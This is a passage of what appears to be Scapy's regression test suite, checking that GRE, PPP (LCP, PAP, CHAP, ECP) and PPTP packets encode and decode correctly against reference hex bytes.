b'\\x80!\\x01\\x00\\x00\\x1f\\x81\\x06\\x01\\x02\\x03\\x04\\x83\\x06\\x05\\x06\\x07\\x08{\\tABCDEFG\\x84\\x06\\t\\n\\x0b\\x0c'\nq = PPP(r)\nq\nassert  q[PPP_IPCP_Option].type == 123 \nassert  q[PPP_IPCP_Option].data == b\"ABCDEFG\" \nassert  q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' \n\n\n= PPP ECP\n~ ppp ecp\n\np = PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui=0x58595a)])\np\nr = raw(p)\nr\nassert r == b'\\x80S\\x01\\x00\\x00\\n\\x00\\x06XYZ\\x00'\nq = PPP(r)\nq\nassert raw(p) == raw(q)\np = PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui=0x58595a),PPP_ECP_Option(type=1,data=\"ABCDEFG\")])\np\nr = raw(p)\nr\nassert r == b'\\x80S\\x01\\x00\\x00\\x13\\x00\\x06XYZ\\x00\\x01\\tABCDEFG'\nq = PPP(r)\nq\nassert  raw(p) == raw(q) \nassert  q[PPP_ECP_Option].data == b\"ABCDEFG\" \n\n\n= PPP IP check that default protocol length is 2 bytes\n~ ppp ip\n\np = PPP()/IP()\np\nr = raw(p)\nr\nassert r.startswith(b'\\x00\\x21')\nassert len(r) == 22\n\n\n= PPP check parsing with only one byte for protocol\n~ ppp\n\nassert len(raw(PPP(proto=b'\\x21') / IP())) == 21\n\np = PPP(b'!E\\x00\\x00<\\x00\\x00@\\x008\\x06\\xa5\\xce\\x85wP)\\xc0\\xa8Va\\x01\\xbbd\\x8a\\xe2}r\\xb8O\\x95\\xb5\\x84\\xa0\\x12q \\xc8\\x08\\x00\\x00\\x02\\x04\\x02\\x18\\x04\\x02\\x08\\nQ\\xdf\\xd6\\xb0\\x00\\x07LH\\x01\\x03\\x03\\x07Ao')\nassert IP in p\nassert TCP in p\n\nassert PPP(b\"\\x00\\x21\" + raw(IP())) == PPP(b\"\\x21\" + raw(IP()))\n"
  },
  {
    "path": "test/scapy/layers/pptp.uts",
    "content": "##############################\n% PPTP Related regression tests\n##############################\n\n+ GRE Tests\n\n= Test IP/GRE v0 decoding\n~ gre ip\n\ndata = hex_bytes('45c00064000f0000ff2f1647c0a80c01c0a8170300000800')\npkt = IP(data)\nassert GRE in pkt\ngre = pkt[GRE]\nassert gre.chksum_present == 0\nassert gre.routing_present == 0\nassert gre.key_present == 0\nassert gre.seqnum_present == 0\nassert gre.strict_route_source == 0\nassert gre.recursion_control == 0\nassert gre.flags == 0\nassert gre.version == 0\nassert gre.proto == 0x800\n\n= Test IP/GRE v1 decoding with PPP LCP\n~ gre ip pptp ppp lcp\n\ndata = hex_bytes('4500003c18324000402f0e5a0a0000020a0000063001880b001c9bf500000000ff03'\\\n       'c021010100180206000000000304c2270506fbb8831007020802')\npkt = IP(data)\nassert GRE_PPTP in pkt\ngre_pptp = pkt[GRE_PPTP]\nassert gre_pptp.chksum_present == 0\nassert gre_pptp.routing_present == 0\nassert gre_pptp.key_present == 1\nassert gre_pptp.seqnum_present == 1\nassert gre_pptp.strict_route_source == 0\nassert gre_pptp.recursion_control == 0\nassert gre_pptp.acknum_present == 0\nassert gre_pptp.flags == 0\nassert gre_pptp.version == 1\nassert gre_pptp.proto == 0x880b\nassert gre_pptp.payload_len == 28\nassert gre_pptp.call_id == 39925\nassert gre_pptp.sequence_number == 0x0\n\nassert HDLC in pkt\nassert PPP in pkt\nassert PPP_LCP_Configure in pkt\n\n= Test IP/GRE v1 encoding/decoding with PPP LCP Echo\n~ gre ip pptp ppp hdlc lcp lcp_echo\n\npkt = IP(src='192.168.0.1', dst='192.168.0.2') /\\\n      GRE_PPTP(seqnum_present=1, acknum_present=1, sequence_number=47, ack_number=42) /\\\n      HDLC() / PPP() / PPP_LCP_Echo(id=42, magic_number=4242, data='abcdef')\npkt_data = raw(pkt)\npkt_data_ref = hex_bytes('4500003600010000402ff944c0a80001c0a800023081880b001200000000002f000000'\\\n                         '2aff03c021092a000e00001092616263646566')\nassert (pkt_data == pkt_data_ref)\npkt_decoded = IP(pkt_data_ref)\nassert IP in pkt\nassert GRE_PPTP in pkt\nassert HDLC in pkt\nassert PPP in pkt\nassert PPP_LCP_Echo in pkt\n\nassert pkt[IP].proto == 47\nassert pkt[GRE_PPTP].chksum_present == 0\nassert pkt[GRE_PPTP].routing_present == 0\nassert pkt[GRE_PPTP].key_present == 1\nassert pkt[GRE_PPTP].seqnum_present == 1\nassert pkt[GRE_PPTP].acknum_present == 1\nassert pkt[GRE_PPTP].sequence_number == 47\nassert pkt[GRE_PPTP].ack_number == 42\nassert pkt[PPP].proto == 0xc021\nassert pkt[PPP_LCP_Echo].code == 9\nassert pkt[PPP_LCP_Echo].id == 42\nassert pkt[PPP_LCP_Echo].magic_number == 4242\nassert pkt[PPP_LCP_Echo].data == b'abcdef'\n\n+ PPP LCP Tests\n= Test LCP Echo Request / Reply\n~ ppp lcp lcp_echo\n\nlcp_echo_request_data = hex_bytes('c021090700080000002a')\nlcp_echo_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=7, magic_number=77, data='defgh'))\n\nlcp_echo_request_pkt = PPP(lcp_echo_request_data)\nlcp_echo_reply_pkt = PPP(lcp_echo_reply_data)\n\nassert lcp_echo_reply_pkt.answers(lcp_echo_request_pkt)\nassert not lcp_echo_request_pkt.answers(lcp_echo_reply_pkt)\n\nlcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=3, magic_number=77))\nlcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data)\n\nassert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt)\n\nlcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(id=7, magic_number=42))\nlcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data)\n\nassert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt)\n\n= Test LCP Configure Request\n~ ppp lcp lcp_configure magic_number\n\nconf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_Magic_Number_Option(magic_number=4242)])\nconf_req_ref_data = hex_bytes('c021012a000a050600001092')\n\nassert raw(conf_req) == conf_req_ref_data\n\nconf_req_pkt = PPP(conf_req_ref_data)\n\nassert PPP_LCP_Configure in conf_req_pkt\nassert conf_req_pkt[PPP_LCP_Configure].code == 1\nassert conf_req_pkt[PPP_LCP_Configure].id == 42\nassert len(conf_req_pkt[PPP_LCP_Configure].options) == 1\nassert isinstance(conf_req_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option)\nassert conf_req_pkt[PPP_LCP_Configure].options[0].magic_number == 4242\n\n= Test LCP Configure Ack\n~ ppp lcp lcp_configure lcp_configure_ack\n\nconf_ack = PPP() / PPP_LCP_Configure(code='Configure-Ack', id=42,\n                                     options=[PPP_LCP_Magic_Number_Option(magic_number=4242)])\nconf_ack_ref_data = hex_bytes('c021022a000a050600001092')\n\nassert (raw(conf_ack) == conf_ack_ref_data)\n\nconf_ack_pkt = PPP(conf_ack_ref_data)\n\nassert PPP_LCP_Configure in conf_ack_pkt\nassert conf_ack_pkt[PPP_LCP_Configure].code == 2\nassert conf_ack_pkt[PPP_LCP_Configure].id == 42\nassert len(conf_ack_pkt[PPP_LCP_Configure].options) == 1\nassert isinstance(conf_ack_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option)\nassert conf_ack_pkt[PPP_LCP_Configure].options[0].magic_number == 4242\n\nconf_req_pkt = PPP(hex_bytes('c021012a000a050600001092'))\n\nassert conf_ack_pkt.answers(conf_req_pkt)\nassert not conf_req_pkt.answers(conf_ack_pkt)\n\n= Test LCP Configure Nak\n~ ppp lcp lcp_configure lcp_configure_nak lcp_mru_option lcp_accm_option\n\nconf_nak = PPP() / PPP_LCP_Configure(code='Configure-Nak', id=42,\n                                     options=[PPP_LCP_MRU_Option(), PPP_LCP_ACCM_Option(accm=0xffff0000)])\nconf_nak_ref_data = hex_bytes('c021032a000e010405dc0206ffff0000')\n\nassert raw(conf_nak) == conf_nak_ref_data\n\nconf_nak_pkt = PPP(conf_nak_ref_data)\n\nassert PPP_LCP_Configure in conf_nak_pkt\nassert conf_nak_pkt[PPP_LCP_Configure].code == 3\nassert conf_nak_pkt[PPP_LCP_Configure].id == 42\nassert len(conf_nak_pkt[PPP_LCP_Configure].options) == 2\nassert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[0], PPP_LCP_MRU_Option)\nassert conf_nak_pkt[PPP_LCP_Configure].options[0].max_recv_unit == 1500\nassert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[1], PPP_LCP_ACCM_Option)\nassert conf_nak_pkt[PPP_LCP_Configure].options[1].accm == 0xffff0000\n\nconf_req_pkt = PPP(hex_bytes('c021012a000e010405dc0206ffff0000'))\n\nassert conf_nak_pkt.answers(conf_req_pkt)\nassert not conf_req_pkt.answers(conf_nak_pkt)\n\n= Test LCP Configure Reject\n~ ppp lcp lcp_configure lcp_configure_reject\n\nconf_reject = PPP() / PPP_LCP_Configure(code='Configure-Reject', id=42,\n                                        options=[PPP_LCP_Callback_Option(operation='Location identifier',\n                                                                         message='test')])\nconf_reject_ref_data = hex_bytes('c021042a000b0d070274657374')\n\nassert raw(conf_reject) == conf_reject_ref_data\n\nconf_reject_pkt = PPP(conf_reject_ref_data)\n\nassert PPP_LCP_Configure in conf_reject_pkt\nassert conf_reject_pkt[PPP_LCP_Configure].code == 4\nassert conf_reject_pkt[PPP_LCP_Configure].id == 42\nassert len(conf_reject_pkt[PPP_LCP_Configure].options) == 1\nassert isinstance(conf_reject_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Callback_Option)\nassert conf_reject_pkt[PPP_LCP_Configure].options[0].operation == 2\nassert conf_reject_pkt[PPP_LCP_Configure].options[0].message == b'test'\n\nconf_req_pkt = PPP(hex_bytes('c021012a000b0d070274657374'))\n\nassert conf_reject_pkt.answers(conf_req_pkt)\nassert not conf_req_pkt.answers(conf_reject_pkt)\n\n= Test LCP Configure options\n~ ppp lcp lcp_configure\n\nconf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_MRU_Option(max_recv_unit=5000),\n                                                     PPP_LCP_ACCM_Option(accm=0xf0f0f0f0),\n                                                     PPP_LCP_Auth_Protocol_Option(),\n                                                     PPP_LCP_Quality_Protocol_Option(data='test'),\n                                                     PPP_LCP_Magic_Number_Option(magic_number=4242),\n                                                     PPP_LCP_Callback_Option(operation='Distinguished name',message='test')])\nconf_req_ref_data = hex_bytes('c021012a0027010413880206f0f0f0f00304c0230408c025746573740506000010920d070474657374')\n\nassert raw(conf_req) == conf_req_ref_data\n\nconf_req_pkt = PPP(conf_req_ref_data)\n\nassert PPP_LCP_Configure in conf_req_pkt\noptions = conf_req_pkt[PPP_LCP_Configure].options\nassert len(options) == 6\nassert isinstance(options[0], PPP_LCP_MRU_Option)\nassert options[0].max_recv_unit == 5000\nassert isinstance(options[1], PPP_LCP_ACCM_Option)\nassert options[1].accm == 0xf0f0f0f0\nassert isinstance(options[2], PPP_LCP_Auth_Protocol_Option)\nassert options[2].auth_protocol == 0xc023\nassert isinstance(options[3], PPP_LCP_Quality_Protocol_Option)\nassert options[3].quality_protocol == 0xc025\nassert options[3].data == b'test'\nassert isinstance(options[4], PPP_LCP_Magic_Number_Option)\nassert options[4].magic_number == 4242\nassert isinstance(options[5], PPP_LCP_Callback_Option)\nassert options[5].operation == 4\nassert options[5].message == b'test'\n\n= Test LCP Auth option\n~ ppp lcp lcp_configure\n\npap = PPP_LCP_Auth_Protocol_Option()\npap_ref_data = hex_bytes('0304c023')\n\nassert raw(pap) == pap_ref_data\n\npap_pkt = PPP_LCP_Option(pap_ref_data)\nassert isinstance(pap_pkt, PPP_LCP_Auth_Protocol_Option)\nassert pap_pkt.auth_protocol == 0xc023\n\nchap_sha1 = PPP_LCP_Auth_Protocol_Option(auth_protocol='Challenge-response authentication protocol', algorithm=\"SHA1\")\nchap_sha1_ref_data = hex_bytes('0305c22306')\n\nassert raw(chap_sha1) == chap_sha1_ref_data\n\nchap_sha1_pkt = PPP_LCP_Option(chap_sha1_ref_data)\nassert isinstance(chap_sha1_pkt, PPP_LCP_Auth_Protocol_Option)\nassert chap_sha1_pkt.auth_protocol == 0xc223\nassert chap_sha1_pkt.algorithm == 6\n\neap = PPP_LCP_Auth_Protocol_Option(auth_protocol='PPP Extensible authentication protocol', data='test')\neap_ref_data = hex_bytes('0308c22774657374')\n\nassert raw(eap) == eap_ref_data\n\neap_pkt = PPP_LCP_Option(eap_ref_data)\nassert isinstance(eap_pkt, PPP_LCP_Auth_Protocol_Option)\nassert eap_pkt.auth_protocol == 0xc227\nassert eap_pkt.data == b'test'\n\n= Test LCP Code-Reject\n~ ppp lcp lcp_code_reject\n\ncode_reject = PPP() / PPP_LCP_Code_Reject(id=42, rejected_packet=PPP_LCP(code=42, id=7, data='unknown_data'))\ncode_reject_ref_data = hex_bytes('c021072a00142a070010756e6b6e6f776e5f64617461')\n\nassert raw(code_reject) == code_reject_ref_data\n\ncode_reject_pkt = PPP(code_reject_ref_data)\nassert PPP_LCP_Code_Reject in code_reject_pkt\nassert code_reject_pkt[PPP_LCP_Code_Reject].id == 42\nassert isinstance(code_reject_pkt[PPP_LCP_Code_Reject].rejected_packet, PPP_LCP)\nassert code_reject[PPP_LCP_Code_Reject].rejected_packet.code == 42\nassert code_reject[PPP_LCP_Code_Reject].rejected_packet.id == 7\nassert code_reject[PPP_LCP_Code_Reject].rejected_packet.data == b'unknown_data'\n\n= Test LCP Protocol-Reject\n~ ppp lcp lcp_protocol_reject\n\nprotocol_reject = PPP() / PPP_LCP_Protocol_Reject(id=42, rejected_protocol=0x8039,\n                                                  rejected_information=Packet(hex_bytes('0305c22306')))\nprotocol_reject_ref_data = hex_bytes('c021082a000b80390305c22306')\n\nassert raw(protocol_reject) == protocol_reject_ref_data\n\nprotocol_reject_pkt = PPP(protocol_reject_ref_data)\nassert PPP_LCP_Protocol_Reject in protocol_reject_pkt\nassert protocol_reject_pkt[PPP_LCP_Protocol_Reject].id == 42\nassert protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_protocol == 0x8039\nassert len(protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_information) == 5\n\n= Test LCP Discard Request\n~ ppp lcp lcp_discard_request\n\ndiscard_request = PPP() / PPP_LCP_Discard_Request(id=7, magic_number=4242, data='test')\ndiscard_request_ref_data = hex_bytes('c0210b07000c0000109274657374')\n\nassert raw(discard_request) == discard_request_ref_data\n\ndiscard_request_pkt = PPP(discard_request_ref_data)\nassert PPP_LCP_Discard_Request in discard_request_pkt\nassert discard_request_pkt[PPP_LCP_Discard_Request].id == 7\nassert discard_request_pkt[PPP_LCP_Discard_Request].magic_number == 4242\nassert discard_request_pkt[PPP_LCP_Discard_Request].data == b'test'\n\n= Test LCP Terminate-Request/Terminate-Ack\n~ ppp lcp lcp_terminate\n\nterminate_request = PPP() / PPP_LCP_Terminate(id=7, data='test')\nterminate_request_ref_data = hex_bytes('c0210507000874657374')\n\nassert raw(terminate_request) == terminate_request_ref_data\n\nterminate_request_pkt = PPP(terminate_request_ref_data)\nassert PPP_LCP_Terminate in terminate_request_pkt\nassert terminate_request_pkt[PPP_LCP_Terminate].code == 5\nassert terminate_request_pkt[PPP_LCP_Terminate].id == 7\nassert terminate_request_pkt[PPP_LCP_Terminate].data == b'test'\n\nterminate_ack = PPP() / PPP_LCP_Terminate(code='Terminate-Ack', id=7)\nterminate_ack_ref_data = hex_bytes('c02106070004')\n\nassert raw(terminate_ack) == terminate_ack_ref_data\n\nterminate_ack_pkt = PPP(terminate_ack_ref_data)\nassert PPP_LCP_Terminate in terminate_ack_pkt\nassert terminate_ack_pkt[PPP_LCP_Terminate].code == 6\nassert terminate_ack_pkt[PPP_LCP_Terminate].id == 7\n\nassert terminate_ack_pkt.answers(terminate_request_pkt)\nassert not terminate_request_pkt.answers(terminate_ack_pkt)\n\n+ PPP PAP Tests\n= Test PPP PAP Request\n~ ppp pap pap_request\npap_request = PPP() / PPP_PAP_Request(id=42, username='administrator', password='secret_password')\npap_request_ref_data = hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264')\n\nassert raw(pap_request) == pap_request_ref_data\n\npap_request_pkt = PPP(pap_request_ref_data)\nassert PPP_PAP_Request in pap_request_pkt\nassert pap_request_pkt[PPP_PAP_Request].code == 1\nassert pap_request_pkt[PPP_PAP_Request].id == 42\nassert pap_request_pkt[PPP_PAP_Request].username == b'administrator'\nassert pap_request_pkt[PPP_PAP_Request].password == b'secret_password'\nassert pap_request_pkt[PPP_PAP_Request].summary() in ['PAP-Request username=\\'administrator\\' password=\\'secret_password\\'',\n                                                      'PAP-Request username=b\\'administrator\\' password=b\\'secret_password\\'']\n\n= Test PPP PAP Authenticate-Ack\n~ ppp pap pap_response pap_ack\npap_response = PPP() / PPP_PAP(code='Authenticate-Ack', id=42)\npap_response_ref_data = hex_bytes('c023022a000500')\n\nassert raw(pap_response) == pap_response_ref_data\n\npap_response_pkt = PPP(pap_response_ref_data)\nassert PPP_PAP_Response in pap_response_pkt\nassert pap_response_pkt[PPP_PAP_Response].code == 2\nassert pap_response_pkt[PPP_PAP_Response].id == 42\nassert pap_response_pkt[PPP_PAP_Response].msg_len == 0\nassert pap_response_pkt[PPP_PAP_Response].message == b''\nassert pap_response_pkt[PPP_PAP_Response].summary() == 'PAP-Ack'\n\npap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264'))\nassert pap_response_pkt.answers(pap_request_pkt)\nassert not pap_request_pkt.answers(pap_response_pkt)\n\n= Test PPP PAP Authenticate-Nak\n~ ppp pap pap_response pap_nak\npap_response = PPP() / PPP_PAP(code=3, id=42, message='Bad password')\npap_response_ref_data = hex_bytes('c023032a00110c4261642070617373776f7264')\n\nassert raw(pap_response) == pap_response_ref_data\n\npap_response_pkt = PPP(pap_response_ref_data)\nassert PPP_PAP_Response in pap_response_pkt\nassert pap_response_pkt[PPP_PAP_Response].code == 3\nassert pap_response_pkt[PPP_PAP_Response].id == 42\nassert pap_response_pkt[PPP_PAP_Response].msg_len == len('Bad password')\nassert pap_response_pkt[PPP_PAP_Response].message == b'Bad password'\nassert pap_response_pkt[PPP_PAP_Response].summary() in ['PAP-Nak msg=\\'Bad password\\'', 'PAP-Nak msg=b\\'Bad password\\'']\n\npap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264'))\nassert pap_response_pkt.answers(pap_request_pkt)\nassert not pap_request_pkt.answers(pap_response_pkt)\n\n+ PPP CHAP Tests\n= Test PPP CHAP Challenge\n~ ppp chap chap_challenge\nchap_challenge = PPP() / PPP_CHAP(code=1, id=47, value=b'B' * 7,\n                                                        optional_name='server')\nchap_challenge_ref_data = hex_bytes('c223012f00120742424242424242736572766572')\n\nassert raw(chap_challenge) == chap_challenge_ref_data\n\nchap_challenge_pkt = PPP(chap_challenge_ref_data)\nassert PPP_CHAP_ChallengeResponse in chap_challenge_pkt\nassert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].code == 1\nassert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].id == 47\nassert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value_size == 7\nassert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value == b'B' * 7\nassert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'server'\nassert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP challenge=0x42424242424242 optional_name=\\'server\\'',\n                                                                    'CHAP challenge=0x42424242424242 optional_name=b\\'server\\'']\n\n= Test PPP CHAP Response\n~ ppp chap chap_response\nchap_response = PPP() / PPP_CHAP(code='Response', id=47, value=b'\\x00' * 16, optional_name='client')\nchap_response_ref_data = hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74')\n\nassert raw(chap_response) == chap_response_ref_data\n\nchap_response_pkt = PPP(chap_response_ref_data)\nassert PPP_CHAP_ChallengeResponse in chap_response_pkt\nassert chap_response_pkt[PPP_CHAP_ChallengeResponse].code == 2\nassert chap_response_pkt[PPP_CHAP_ChallengeResponse].id == 47\nassert chap_response_pkt[PPP_CHAP_ChallengeResponse].value_size == 16\nassert chap_response_pkt[PPP_CHAP_ChallengeResponse].value == b'\\x00' * 16\nassert chap_response_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'client'\nassert chap_response_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP response=0x00000000000000000000000000000000 optional_name=\\'client\\'',\n                                                                   'CHAP response=0x00000000000000000000000000000000 optional_name=b\\'client\\'']\n\nchap_request = PPP(hex_bytes('c223012f00120742424242424242736572766572'))\n\nassert chap_response.answers(chap_challenge)\nassert not chap_challenge.answers(chap_response)\n\n= Test PPP CHAP Success\n~ ppp chap chap_success\n\nchap_success = PPP() / PPP_CHAP(code='Success', id=47)\nchap_success_ref_data = hex_bytes('c223032f0004')\n\nassert raw(chap_success) == chap_success_ref_data\n\nchap_success_pkt = PPP(chap_success_ref_data)\nassert PPP_CHAP in chap_success_pkt\nassert chap_success_pkt[PPP_CHAP].code == 3\nassert chap_success_pkt[PPP_CHAP].id == 47\nassert chap_success_pkt[PPP_CHAP].data == b''\nassert chap_success_pkt[PPP_CHAP].summary() in ['CHAP Success message=\\'\\'', 'CHAP Success message=b\\'\\'']\n\nchap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74'))\n\nassert chap_success_pkt.answers(chap_response_pkt)\nassert not chap_response_pkt.answers(chap_success_pkt)\n\n= Test PPP CHAP Failure\n~ ppp chap chap_failure\nchap_failure = PPP() / PPP_CHAP(code='Failure', id=47, data='Go away')\nchap_failure_ref_data = hex_bytes('c223042f000b476f2061776179')\n\nassert raw(chap_failure) == chap_failure_ref_data\n\nchap_failure_pkt = PPP(chap_failure_ref_data)\nassert PPP_CHAP in chap_failure_pkt\nassert chap_failure_pkt[PPP_CHAP].code == 4\nassert chap_failure_pkt[PPP_CHAP].id == 47\nassert chap_failure_pkt[PPP_CHAP].data == b'Go away'\nassert chap_failure_pkt[PPP_CHAP].summary() in ['CHAP Failure message=\\'Go away\\'', 'CHAP Failure message=b\\'Go away\\'']\n\nchap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74'))\n\nassert chap_failure_pkt.answers(chap_response_pkt)\nassert not chap_failure_pkt.answers(chap_success_pkt)\n\n+ PPTP Tests\n= Test PPTP Start-Control-Connection-Request\n~ pptp\nstart_control_connection = PPTPStartControlConnectionRequest(framing_capabilities='Asynchronous Framing supported',\n                                                             bearer_capabilities='Digital access supported',\n                                                             maximum_channels=42,\n                                                             firmware_revision=47,\n                                                             host_name='test host name',\n                                                             vendor_string='test vendor string')\nstart_control_connection_ref_data = hex_bytes('009c00011a2b3c4d00010000010000000000000100000002002a00'\\\n                                    '2f7465737420686f7374206e616d65000000000000000000000000'\\\n                                    '000000000000000000000000000000000000000000000000000000'\\\n                                    '0000000000000000000000746573742076656e646f722073747269'\\\n                                    '6e6700000000000000000000000000000000000000000000000000'\\\n                                    '000000000000000000000000000000000000000000')\n\nassert raw(start_control_connection) == start_control_connection_ref_data\n\nstart_control_connection_pkt = PPTP(start_control_connection_ref_data)\n\nassert isinstance(start_control_connection_pkt, PPTPStartControlConnectionRequest)\nassert start_control_connection_pkt.magic_cookie == 0x1a2b3c4d\nassert start_control_connection_pkt.protocol_version == 0x0100\nassert start_control_connection_pkt.framing_capabilities == 1\nassert start_control_connection_pkt.bearer_capabilities == 2\nassert start_control_connection_pkt.maximum_channels == 42\nassert start_control_connection_pkt.firmware_revision == 47\nassert start_control_connection_pkt.host_name == b'test host name' + b'\\0' * (64-len('test host name'))\nassert start_control_connection_pkt.vendor_string == b'test vendor string' + b'\\0' * (64-len('test vendor string'))\n\n= Test PPTP Start-Control-Connection-Reply\n~ pptp\nstart_control_connection_reply = PPTPStartControlConnectionReply(result_code='General error',\n                                                                 error_code='Not-Connected',\n                                                                 framing_capabilities='Synchronous Framing supported',\n                                                                 bearer_capabilities='Analog access supported',\n                                                                 vendor_string='vendor')\nstart_control_connection_reply_ref_data = hex_bytes('009c00011a2b3c4d00020000010002010000000200000001ffff0'\\\n                                          '1006c696e75780000000000000000000000000000000000000000'\\\n                                          '00000000000000000000000000000000000000000000000000000'\\\n                                          '000000000000000000000000076656e646f720000000000000000'\\\n                                          '00000000000000000000000000000000000000000000000000000'\\\n                                          '00000000000000000000000000000000000000000000000')\n\nassert raw(start_control_connection_reply) == start_control_connection_reply_ref_data\n\nstart_control_connection_reply_pkt = PPTP(start_control_connection_reply_ref_data)\n\nassert isinstance(start_control_connection_reply_pkt, PPTPStartControlConnectionReply)\nassert start_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d\nassert start_control_connection_reply_pkt.protocol_version == 0x0100\nassert start_control_connection_reply_pkt.result_code == 2\nassert start_control_connection_reply_pkt.error_code == 1\nassert start_control_connection_reply_pkt.framing_capabilities == 2\nassert start_control_connection_reply_pkt.bearer_capabilities == 1\nassert start_control_connection_reply_pkt.host_name == b'linux' + b'\\0' * (64-len('linux'))\nassert start_control_connection_reply_pkt.vendor_string == b'vendor' + b'\\0' * (64-len('vendor'))\n\nstart_control_connection_request = PPTPStartControlConnectionRequest()\n\nassert start_control_connection_reply_pkt.answers(start_control_connection_request)\nassert not start_control_connection_request.answers(start_control_connection_reply_pkt)\n\n= Test PPTP Stop-Control-Connection-Request\n~ pptp\nstop_control_connection = PPTPStopControlConnectionRequest(reason='Stop-Local-Shutdown')\nstop_control_connection_ref_data = hex_bytes('001000011a2b3c4d0003000003000000')\n\nassert raw(stop_control_connection) == stop_control_connection_ref_data\n\nstop_control_connection_pkt = PPTP(stop_control_connection_ref_data)\n\nassert isinstance(stop_control_connection_pkt, PPTPStopControlConnectionRequest)\nassert stop_control_connection_pkt.magic_cookie == 0x1a2b3c4d\nassert stop_control_connection_pkt.reason == 3\n\n= Test PPTP Stop-Control-Connection-Reply\n~ pptp\nstop_control_connection_reply = PPTPStopControlConnectionReply(result_code='General error',error_code='PAC-Error')\nstop_control_connection_reply_ref_data = hex_bytes('001000011a2b3c4d0004000002060000')\n\nassert raw(stop_control_connection_reply) == stop_control_connection_reply_ref_data\n\nstop_control_connection_reply_pkt = PPTP(stop_control_connection_reply_ref_data)\n\nassert isinstance(stop_control_connection_reply_pkt, PPTPStopControlConnectionReply)\nassert stop_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d\nassert stop_control_connection_reply_pkt.result_code == 2\nassert stop_control_connection_reply_pkt.error_code == 6\n\nstop_control_connection_request = PPTPStopControlConnectionRequest()\n\nassert stop_control_connection_reply_pkt.answers(stop_control_connection_request)\nassert not stop_control_connection_request.answers(stop_control_connection_reply_pkt)\n\n= Test PPTP Echo-Request\n~ pptp\necho_request = PPTPEchoRequest(identifier=42)\necho_request_ref_data = hex_bytes('001000011a2b3c4d000500000000002a')\n\nassert raw(echo_request) == echo_request_ref_data\n\necho_request_pkt = PPTP(echo_request_ref_data)\n\nassert isinstance(echo_request_pkt, PPTPEchoRequest)\nassert echo_request_pkt.magic_cookie == 0x1a2b3c4d\nassert echo_request_pkt.identifier == 42\n\n= Test PPTP Echo-Reply\n~ pptp\necho_reply = PPTPEchoReply(identifier=42, result_code='OK')\necho_reply_ref_data = hex_bytes('001400011a2b3c4d000600000000002a01000000')\n\nassert raw(echo_reply) == echo_reply_ref_data\n\necho_reply_pkt = PPTP(echo_reply_ref_data)\n\nassert isinstance(echo_reply_pkt, PPTPEchoReply)\nassert echo_reply_pkt.magic_cookie == 0x1a2b3c4d\nassert echo_reply_pkt.identifier == 42\nassert echo_reply_pkt.result_code == 1\nassert echo_reply_pkt.error_code == 0\n\necho_request = PPTPEchoRequest(identifier=42)\n\nassert echo_reply_pkt.answers(echo_request)\nassert not echo_request.answers(echo_reply)\n\necho_request_incorrect = PPTPEchoRequest(identifier=47)\n\nassert not echo_reply_pkt.answers(echo_request_incorrect)\nassert not echo_request_incorrect.answers(echo_reply_pkt)\n\n= Test PPTP Outgoing-Call-Request\n~ pptp\noutgoing_call = PPTPOutgoingCallRequest(call_id=4242, call_serial_number=47,\n                                        minimum_bps=1000, maximum_bps=10000,\n                                        bearer_type='Digital channel',\n                                        pkt_window_size=16, pkt_proc_delay=1,\n                                        phone_number_len=9, phone_number='123456789',\n                                        subaddress='test')\noutgoing_call_ref_data = hex_bytes('00a800011a2b3c4d000700001092002f000003e8000027100000000200'\\\n                         '0000030010000100090000313233343536373839000000000000000000'\\\n                         '0000000000000000000000000000000000000000000000000000000000'\\\n                         '0000000000000000000000000000000000746573740000000000000000'\\\n                         '0000000000000000000000000000000000000000000000000000000000'\\\n                         '0000000000000000000000000000000000000000000000')\n\nassert raw(outgoing_call) == outgoing_call_ref_data\n\noutgoing_call_pkt = PPTP(outgoing_call_ref_data)\n\nassert isinstance(outgoing_call_pkt, PPTPOutgoingCallRequest)\nassert outgoing_call_pkt.magic_cookie == 0x1a2b3c4d\nassert outgoing_call_pkt.call_id == 4242\nassert outgoing_call_pkt.call_serial_number == 47\nassert outgoing_call_pkt.minimum_bps == 1000\nassert outgoing_call_pkt.maximum_bps == 10000\nassert outgoing_call_pkt.bearer_type == 2\nassert outgoing_call_pkt.framing_type == 3\nassert outgoing_call_pkt.pkt_window_size == 16\nassert outgoing_call_pkt.pkt_proc_delay == 1\nassert outgoing_call_pkt.phone_number_len == 9\nassert outgoing_call_pkt.phone_number == b'123456789' + b'\\0' * (64-len('123456789'))\nassert 